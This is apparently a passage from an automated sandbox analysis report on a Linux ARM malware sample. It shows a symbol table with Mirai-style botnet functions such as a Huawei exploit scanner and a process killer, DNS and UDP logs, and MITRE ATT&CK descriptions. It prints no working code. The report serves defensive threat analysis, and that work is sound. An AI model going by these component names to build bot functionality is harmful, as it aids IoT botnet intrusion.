getpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getppid	.symtab	0x14e78	20	FUNC	<unknown>	DEFAULT	2
getppid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getrlimit	.symtab	0x197cc	56	FUNC	<unknown>	DEFAULT	2
getrlimit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockname	.symtab	0x15980	68	FUNC	<unknown>	DEFAULT	2
getsockname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockopt	.symtab	0x159c4	72	FUNC	<unknown>	DEFAULT	2
getsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gettimeofday	.symtab	0x19804	64	FUNC	<unknown>	DEFAULT	2
gettimeofday.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getuid	.symtab	0x19844	20	FUNC	<unknown>	DEFAULT	2
getuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
h_errno	.symtab	0x4	4	TLS	<unknown>	DEFAULT	8
huawei.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
huawei_fake_time	.symtab	0x26cbc	4	OBJECT	<unknown>	DEFAULT	14
huawei_init	.symtab	0xed64	2788	FUNC	<unknown>	DEFAULT	2
huawei_kill	.symtab	0xec68	40	FUNC	<unknown>	DEFAULT	2
huawei_rsck	.symtab	0x26c90	4	OBJECT	<unknown>	DEFAULT	14
huawei_scanner_pid	.symtab	0x26c8c	4	OBJECT	<unknown>	DEFAULT	14
huawei_scanner_rawpkt	.symtab	0x26c94	40	OBJECT	<unknown>	DEFAULT	14
huawei_setup_connection	.symtab	0xec90	212	FUNC	<unknown>	DEFAULT	2
index	.symtab	0x1b960	240	FUNC	<unknown>	DEFAULT	2
inet_addr	.symtab	0x157a4	40	FUNC	<unknown>	DEFAULT	2
inet_aton	.symtab	0x1bcbc	248	FUNC	<unknown>	DEFAULT	2
inet_aton.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_makeaddr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
init_static_tls	.symtab	0x1bdb4	120	FUNC	<unknown>	DEFAULT	2
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initstate	.symtab	0x17564	192	FUNC	<unknown>	DEFAULT	2
initstate_r	.symtab	0x17830	248	FUNC	<unknown>	DEFAULT	2
ioctl	.symtab	0x14e8c	224	FUNC	<unknown>	DEFAULT	2
ioctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
isatty	.symtab	0x1bc1c	36	FUNC	<unknown>	DEFAULT	2
isatty.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
kill	.symtab	0x14f6c	56	FUNC	<unknown>	DEFAULT	2
kill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer_init	.symtab	0xfe04	1428	FUNC	<unknown>	DEFAULT	2
killer_kill	.symtab	0xf848	40	FUNC	<unknown>	DEFAULT	2
killer_kill_by_port	.symtab	0xf870	1428	FUNC	<unknown>	DEFAULT	2
killer_pid	.symtab	0x2984c	4	OBJECT	<unknown>	DEFAULT	14
killer_realpath	.symtab	0x29848	4	OBJECT	<unknown>	DEFAULT	14
killer_realpath_len	.symtab	0x26cc0	4	OBJECT	<unknown>	DEFAULT	14
libc-cancellation.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc-lowlevellock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc-tls.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc_multiple_threads.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
llseek.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
lseek64	.symtab	0x1c59c	112	FUNC	<unknown>	DEFAULT	2
main	.symtab	0x104e8	2016	FUNC	<unknown>	DEFAULT	2
main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
malloc	.symtab	0x15fb0	2360	FUNC	<unknown>	DEFAULT	2
malloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
malloc_trim	.symtab	0x17288	64	FUNC	<unknown>	DEFAULT	2
memcpy	.symtab	0x156c0	4	FUNC	<unknown>	DEFAULT	2
memmove	.symtab	0x156d0	4	FUNC	<unknown>	DEFAULT	2
mempcpy	.symtab	0x1c538	36	FUNC	<unknown>	DEFAULT	2
mempcpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memset	.symtab	0x156e0	156	FUNC	<unknown>	DEFAULT	2
methods	.symtab	0x26c88	4	OBJECT	<unknown>	DEFAULT	14
methods_len	.symtab	0x26c84	1	OBJECT	<unknown>	DEFAULT	14
mmap	.symtab	0x1942c	124	FUNC	<unknown>	DEFAULT	2
mmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mremap	.symtab	0x19858	68	FUNC	<unknown>	DEFAULT	2
mremap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
munmap	.symtab	0x1989c	64	FUNC	<unknown>	DEFAULT	2
munmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mylock	.symtab	0x26a90	24	OBJECT	<unknown>	DEFAULT	13
mylock	.symtab	0x26aa8	24	OBJECT	<unknown>	DEFAULT	13
nanosleep	.symtab	0x1991c	96	FUNC	<unknown>	DEFAULT	2
nanosleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
nprocessors_onln	.symtab	0x17cec	332	FUNC	<unknown>	DEFAULT	2
object.5113	.symtab	0x26c6c	24	OBJECT	<unknown>	DEFAULT	14
open	.symtab	0x18be0	100	FUNC	<unknown>	DEFAULT	2
opendir	.symtab	0x1540c	196	FUNC	<unknown>	DEFAULT	2
opendir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
parse_config.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
pending_connection	.symtab	0x26cc8	1	OBJECT	<unknown>	DEFAULT	14
pr-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
prctl	.symtab	0x14fa4	68	FUNC	<unknown>	DEFAULT	2
prctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
program_invocation_name	.symtab	0x26b74	4	OBJECT	<unknown>	DEFAULT	13
program_invocation_short_name	.symtab	0x26b70	4	OBJECT	<unknown>	DEFAULT	13
raise	.symtab	0x18908	240	FUNC	<unknown>	DEFAULT	2
raise.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand	.symtab	0x173f0	24	FUNC	<unknown>	DEFAULT	2
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand_alpha_str	.symtab	0x10d8c	208	FUNC	<unknown>	DEFAULT	2
rand_init	.symtab	0x10d24	104	FUNC	<unknown>	DEFAULT	2
rand_next	.symtab	0x10cc8	92	FUNC	<unknown>	DEFAULT	2
rand_str	.symtab	0x10e5c	220	FUNC	<unknown>	DEFAULT	2
random	.symtab	0x17408	164	FUNC	<unknown>	DEFAULT	2
random.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
random_poly_info	.symtab	0x1e4bc	40	OBJECT	<unknown>	DEFAULT	4
random_r	.symtab	0x176c8	144	FUNC	<unknown>	DEFAULT	2
random_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
randtbl	.symtab	0x26ac0	128	OBJECT	<unknown>	DEFAULT	13

Network Behavior

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 08:18:53.354975939 CET	54064	53	192.168.2.13	8.8.8.8
Dec 30, 2024 08:18:53.355035067 CET	47102	53	192.168.2.13	8.8.8.8
Dec 30, 2024 08:18:53.361490965 CET	53	47102	8.8.8.8	192.168.2.13
Dec 30, 2024 08:18:53.362092018 CET	53	54064	8.8.8.8	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2024 08:18:53.354975939 CET	192.168.2.13	8.8.8.8	0x4931	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 08:18:53.355035067 CET	192.168.2.13	8.8.8.8	0xfe84	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 08:18:53.362092018 CET	8.8.8.8	192.168.2.13	0x4931	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Dec 30, 2024 08:18:53.362092018 CET	8.8.8.8	192.168.2.13	0x4931	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: vcimanagement.arm7.elf PID: 5404, Parent PID: 5330

General

Start time (UTC):	07:18:52
Start date (UTC):	30/12/2024
Path:	/tmp/vcimanagement.arm7.elf
Arguments:	/tmp/vcimanagement.arm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report vcimanagement.arm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: vcimanagement.arm7.elf PID: 5404, Parent PID: 5330

General

Chronological Activities

Linux Analysis Report
vcimanagement.arm7.elf